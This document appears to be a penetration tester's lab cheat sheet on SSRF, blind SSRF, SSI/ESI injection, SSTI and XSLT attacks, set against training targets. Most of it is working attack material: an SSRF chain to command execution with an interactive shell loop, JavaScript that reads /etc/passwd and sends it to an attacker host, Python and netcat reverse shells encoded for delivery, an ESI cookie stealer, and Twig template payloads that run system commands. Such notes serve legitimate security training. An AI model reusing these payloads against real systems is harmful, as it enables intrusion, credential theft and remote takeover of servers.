SSRF

Server Side REquest Forgery

// all captured
[PENTESTER]🠖[EXERCISE-TARGET]--[SSRF]🠖[INTERNAL-WEBSERVER]--[SSRF]🠖[LOCALHOST WEBAPP]🠖[RCE]
nmap -sT -T5 --min-rate=10000 -p- <TARGET IP>
 curl -i -s http://<TARGET IP>
 curl -i -s -L http://<TARGET IP>
 nc -nvlp 8080
 curl -i -s "http://<TARGET IP>/load?q=http://<VPN/TUN Adapter IP>:8080"
 python3 -m http.server 9090
 sudo pip3 install twisted
 sudo python3 -m twisted ftp -p 21 -r .
 curl -i -s "http://<TARGET IP>/load?q=ftp://<VPN/TUN Adapter IP>/index.html"
 
curl -i -s "http://<TARGET IP>/load?q=http://<VPN/TUN Adapter IP>:9090/index.html"
curl -i -s "http://<TARGET IP>/load?q=file:///etc/passwd"
for port in {1..65535};do echo $port >> ports.txt;done
curl -i -s "http://<TARGET IP>/load?q=http://127.0.0.1:1"

// Port fuzzing
ffuf -w ./ports.txt:PORT -u "http://<TARGET IP>/load?q=http://127.0.0.1:PORT" -fs 30
// interacting with target
curl -i -s "http://<TARGET IP>/load?q=http://127.0.0.1:5000"

// interacting with target
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=index.html"
 curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http://127.0.0.1:1"
 curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:1"
 

// port fuzzing
ffuf -w ./ports.txt:PORT -u "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:PORT" -fr 'Errno[[:blank:]]111'

// interacting with target
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/"

// interacting with target /proc/self/environ
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=file:://///proc/self/environ" -o -

// retrieving a file through the target application - file schema
 curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=file:://///app/internal_local.py"


// determine /runme?x=CMD is avail
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=whoami"

// running into issues with parameters or extra input
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=uname -a"

// install jq or use urlencoder.org
sudo apt-get install jq
 echo "encode me" | jq -sRr @uri
 
 
 // automating executing commands
 function rce() {
 while true; do
 echo -n "# "; read cmd
 ecmd=$(echo -n $cmd | jq -sRr @uri | jq -sRr @uri | jq -sRr @uri)
 curl -s -o - "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=${ecmd}"
 echo ""
  done
  }
  
  rce
  uname -a; hostname; whoami
  
  
  // 3 times encoding
  echo "ls -la /;" | jq -sRr @uri | jq -sRr @uri | jq -sRr @uri
  curl -is -L "http://10.129.201.238/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=ls%252520-la%252520%25252F%25253B%25250A%250A%0A" -o -
  
  
  Blind SSRF vulnerabilities could exist in PDF Document generators and HTTP Headers, among other locations.
  Burp Collaborator (Part of Burp Suite professional. Not Available in the community edition)
http://pingb.in



<!DOCTYPE html>
<html>
<body>
	<a>Hello World!</a>
	<img src="http://<SERVICE IP>:PORT/x?=viaimgtag">
</body>
</html>

sudo nc -nlvp 9090

// read file
<html>
    <body>
        <b>Exfiltration via Blind SSRF</b>
        <script>
        var readfile = new XMLHttpRequest(); // Read the local file
        var exfil = new XMLHttpRequest(); // Send the file to our server
        readfile.open("GET","file:///etc/passwd", true); 
        readfile.send();
        readfile.onload = function() {
            if (readfile.readyState === 4) {
                var url = 'http://<SERVICE IP>:<PORT>/?data='+btoa(this.response);
                exfil.open("GET", url, true);
                exfil.send();
            }
        }
        readfile.onerror = function(){document.write('<a>Oops!</a>');}
        </script>
     </body>
</html>

// base64 decode
echo """cm9vdDp4OjA6MDpyb290Oi9yb<SNIP>""" | base64 -d

// Bash Reverse Shell

export RHOST="<VPN/TUN IP>";export RPORT="<PORT>";python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

//url encoded payload
// Remember, we need to URL encode our payload. In this case, we need to encode it twice

export%2520RHOST%253D%252210.10.14.221%2522%253Bexport%2520RPORT%253D%25229090%2522%253Bpython%2520-c%2520%2527import%2520sys%252Csocket%252Cos%252Cpty%253Bs%253Dsocket.socket%2528%2529%253Bs.connect%2528%2528os.getenv%2528%2522RHOST%2522%2529%252Cint%2528os.getenv%2528%2522RPORT%2522%2529%2529%2529%2529%253B%255Bos.dup2%2528s.fileno%2528%2529%252Cfd%2529%2520for%2520fd%2520in%2520%25280%252C1%252C2%2529%255D%253Bpty.spawn%2528%2522%252Fbin%252Fsh%2522%2529%2527

// html payload

<html>
    <body>
        <b>Reverse Shell via Blind SSRF</b>
        <script>
        var http = new XMLHttpRequest();
        http.open("GET","http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=export%2520RHOST%253D%252210.10.14.221%2522%253Bexport%2520RPORT%253D%25229090%2522%253Bpython%2520-c%2520%2527import%2520sys%252Csocket%252Cos%252Cpty%253Bs%253Dsocket.socket%2528%2529%253Bs.connect%2528%2528os.getenv%2528%2522RHOST%2522%2529%252Cint%2528os.getenv%2528%2522RPORT%2522%2529%2529%2529%2529%253B%255Bos.dup2%2528s.fileno%2528%2529%252Cfd%2529%2520for%2520fd%2520in%2520%25280%252C1%252C2%2529%255D%253Bpty.spawn%2528%2522%252Fbin%252Fsh%2522%2529%2527", true); 
        http.send();
        http.onerror = function(){document.write('<a>Oops!</a>');}
        </script>
    </body>
</html>

// Once we start a Netcat listener on our machine and submit the HTML file above, we receive a reverse shell coming from //internal.app.local.
nc -nvlp 9090

// time based SSRF
<html>
    <body>
        <b>Time-Based Blind SSRF</b>
        <img src="http://blah.nonexistent.com">
    </body>
</html>

// read files with SSI (server side includes)
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
<!--#exec cmd="cat .htaccess" -->

// ESI tags
// Basic detection
<esi: include src=http://<PENTESTER IP>>

// XSS Exploitation Example
<esi: include src=http://<PENTESTER IP>/<XSSPAYLOAD.html>>

// Cookie Stealer (bypass httpOnly flag)
<esi: include src=http://<PENTESTER IP>/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>

// SSTI 
curl -gis 'http://127.0.0.1:5000/hello?name={{7*7}}'

We can detect SSTI vulnerabilities by injecting different tags in the inputs we 
control to see if they are evaluated in the response. We don't necessarily need 
to see the injected data reflected in the response we receive. 
Sometimes it is just evaluated on different pages (blind).

// detect ssti
{7*7}
${7*7}
#{7*7}
%{7*7}
{{7*7}}

We can use tools such as Tplmap or J2EE Scan (Burp Pro) to automatically test 
for SSTI vulnerabilities or create a payload list to use with Burp Intruder or ZAP.

// TWig specific payload
{{_self.env.display("TEST")}}

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection

git clone https://github.com/epinna/tplmap.git
cd tplmap
pip install virtualenv
virtualenv -p python2 venv
source venv/bin/activate
pip install -r requirements.txt
./tplmap.py -u 'http://<TARGET IP>:<PORT>' -d name=john

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}

curl -X POST -d 'name={{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}' http://<TARGET IP>:<PORT>

./tplmap.py -u 'http://<TARGET IP>:<PORT>' -d name=john --os-shell

// SSTI example 1
./tplmap.py -u 'http://x.x.x.x:port' -d name=john --os-cmd "printenv | grep HTB"

// SSTI example 2
curl -X POST -d 'email={{7*7}}' http://x.x.x.x:port/jointheteam

// SSTI example 3
./tplmap.py -u 'http://x.x.x.x:port/execute?cmd=what' --os-cmd "cat flag.txt"


// final
curl -si http:///x.x.x.x:port/G3tTh4tF1l34M3?l33t=http://127.0.0.1:8080/flag.txt

// XSL
sudo apt install default-jdk libsaxon-java libsaxonb-java

<?xml version="1.0" encoding="UTF-8"?>
<catalog>
  <cd>
    <title>Empire Burlesque</title>
    <artist>Bob Dylan</artist>
    <country>USA</country>
    <company>Columbia</company>
    <price>10.90</price>
    <year>1985</year>
  </cd>
</catalog>

transformation.xsl

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
  <html>
  <body>
    <h2>My CD Collection</h2>
    <table border="1">
      <tr bgcolor="#9acd32">
        <th>Title</th>
        <th>Artist</th>
      </tr>
      <tr>
        <td><xsl:value-of select="catalog/cd/title"/></td>
        <td><xsl:value-of select="catalog/cd/artist"/></td>
      </tr>
    </table>
  </body>
  </html>
</xsl:template>
</xsl:stylesheet>

// Transformation through the terminal
saxonb-xslt -xsl:transformation.xsl catalogue.xml

detection.xsl
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="html"/>
<xsl:template match="/">
    <h2>XSLT identification</h2>
    <b>Version:</b> <xsl:value-of select="system-property('xsl:version')"/><br/>
    <b>Vendor:</b> <xsl:value-of select="system-property('xsl:vendor')" /><br/>
    <b>Vendor URL:</b><xsl:value-of select="system-property('xsl:vendor-url')" /><br/>
</xsl:template>
</xsl:stylesheet>

 saxonb-xslt -xsl:detection.xsl catalogue.xml

readfile.xsl
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>

saxonb-xslt -xsl:readfile.xsl catalogue.xml

//xsl:include can be used to perform SSRF
// We can also mount SSRF attacks if we have control over the transformation.

ssrf.xsl
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:5000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>

// transformation through the terminal
saxonb-xslt -xsl:ssrf.xsl catalogue.xml

//sudo python3 -m http.server 5000

// fingerprinting.xsl
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
 Version: <xsl:value-of select="system-property('xsl:version')" /><br />
 Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
 Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
 <xsl:if test="system-property('xsl:product-name')">
 Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:product-version')">
 Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:is-schema-aware')">
 Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:supports-serialization')">
 Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:supports-backwards-compatibility')">
 Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
 </xsl:if>
</xsl:template>
</xsl:stylesheet>

saxonb-xslt -xsl:fingerprinting.xsl catalogue.xml

// We can also use the below wordlist for brute-forcing functionality available in target applications.
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt



GoSecure has created a table to help us understand possible attacks that we can try against different ESI-capable software, depending on the functionality supported. Let us provide some explanations regarding the column names of the below table first:

  • Includes: Supports the <esi:includes> directive

  • Vars: Supports the <esi:vars> directive. Useful for bypassing XSS Filters

  • Cookie: Document cookies are accessible to the ESI engine

  • Upstream Headers Required: Surrogate applications will not process ESI statements unless the upstream application provides the headers

  • Host Allowlist: In this case, ESI includes are only possible from allowed server hosts, making SSRF, for example, only possible against those host

The diagram below from PortsSwigger can help us identify if we are dealing with an SSTI vulnerability and also identify the underlying template engine.

In addition to the above diagram, we can try the following approaches to recognize the technology we are dealing with:

  • Check verbose errors for technology names. Sometimes just copying the error in Google search can provide us with a straight answer regarding the underlying technology used

  • Check for extensions. For example, .jsp extensions are associated with Java. When dealing with Java, we may be facing an expression language/OGNL injection vulnerability instead of traditional SSTI

  • Send expressions with unclosed curly brackets to see if verbose errors are generated. Do not try this approach on production systems, as you may crash the webserver.

Last updated

Was this helpful?